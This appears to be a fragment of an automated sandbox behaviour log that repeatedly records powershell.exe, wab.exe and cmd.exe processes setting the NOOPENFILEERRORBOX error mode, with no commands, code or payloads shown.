Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
